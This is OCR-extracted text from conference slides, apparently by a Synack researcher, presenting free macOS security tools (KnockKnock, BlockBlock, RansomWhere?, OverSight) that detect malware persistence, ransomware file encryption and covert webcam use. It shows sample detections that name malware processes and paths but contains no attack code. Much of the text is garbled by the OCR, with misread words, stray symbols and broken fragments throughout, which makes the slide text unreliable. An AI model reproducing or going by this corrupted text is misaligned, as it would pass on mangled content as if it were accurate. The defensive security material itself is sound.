Kernel Extensions 2 > B Little Snitch Agent
. - /Library/Little Snitch/Little Snitch Agent.app/Contents/Mac0S/Little Snitch Agent Q/57 @ @
installed modules, possibly kernel loaded . . . .
/Library/LaunchAgents/at.obdev.LittleSnitchUIAgent.plist

virustotal info show
‘a Launch Items 20 & UpdaterStartupUtility
% daemons and agents loaded by launchd /Library/Application Support/Adobe/00BE/PDAppLUWA rStartupUtility 0/57 @ 1O
t“ ’ /Library/LaunchAgents/com.adobe.AAM.Updater- . - ,
)

& Creative Cloud

/Applications/Utilities/Adobe Creative Cloud/ACC/Cre
/Library/LaunchAgents/com.adobe.AdobeCreativeCloud.p

E]E] Library Inserts

dylibs inserted via DYLD_INSERT_LIBRARIES

o osxMalware }] E:
installed a launch daemon or agent

-3 Login Items - “adprintd | | virus total ancestry
/usr/share/centrifydc/sbin/adprintd

it tarted when th 1l ]
TREMS STArted when The user 0gs -n /Library/LaunchAgents/com.centrify.adprintd.plist

'o . osxMalware (unsigned)
| process id: 74090
KnO CkKnO Ck process path: /Users/patrick/Downloads/osxMalware.app/Contents/Mac0S/osxMalware

com.malware.persist.plist (unsigned)

startup file: /Users/patrick/Library/LaunchAgents/com.malware.persist.plist
startup binary: /usr/bin/malware.bin

remember Block Allow

BlockBlock
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RANSOMWARE ENCRYPTS!

y detect rapid creation of encrypted files by untrusted procs

\Y
Ve OSX/ KCRO-“QQV "Towards Generic
’ Ransomware Detection"

kernel_service is | 'ing files! | / OSX / GOPher |

h proc: /Users/Owned/Library/kernel_service (6114)
files: /Users/Owned/Documents/logo.psd.encrypted

RansomWhere? J/Users/Owned/Documents/novel.txt.encrypted...

Allow Terminate gopher_encryptis [ 'ing files!

h proc: /Users/Owned/gopher_encrypt (11027)
files: /Users/Owned/Documents/All_2190_0001.docx

RansomWhere? J/Users/Owned/Documents/Customers.docx...

Allow Terminate

x gcreating encrypted files

O=w

RansomWhere?

grapidly / high number

g by an untrusted process

N7 Synack



RANSOMWARE ENCRYPTS!

y detect rapid creation of encrypted files by untrusted procs

n —~ P Video Device became active allow
- I FaceTime HD Camera (Built-in)
| Jiﬁ + e Y process: OSX/Mokes (666) block
Jjﬁ
&% Audio Device became active
ﬁq L Built-in Microphone 2

gidentifies the process

Preferences
Quit I

Y
OverSight g detects 'piggy-backing'

gallow of block process

N

"Getting Duped
piggybacking on webcam streams for surreptltlous recordings"
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OBJECT'VE-SEE(COm) support it :)

100% free macQOS security tools atreon.com/objective see

"providing visibility

to the core” ‘

Y
OverSight

/o\

TaskExplorer

| I |-
N ___=
n
/

KnockKnock BlockBlock KextViewr RansomWhere? Ostiarius

N7 Synack



http://www.patreon.com/objective_see

conclusion




CONCLUSION & APPLICATION

:O: learned about: E better protection?
1 A

mac malware of 2016 ‘
(KeRanger, Eleanor, etc) |,3;E,Q| generic detection(s)

E security mitigations

e e ———— — —— S e — —_— — = e = — . — - —— —
= e ——— m— — e —— e e —_—
_ , _ - S I e ——— — — — — — — I — - - — — —_— — ———— ——— — =

speakerdeck.com/
patrickwardle

' patrick@synack.com

y @patrickwardle
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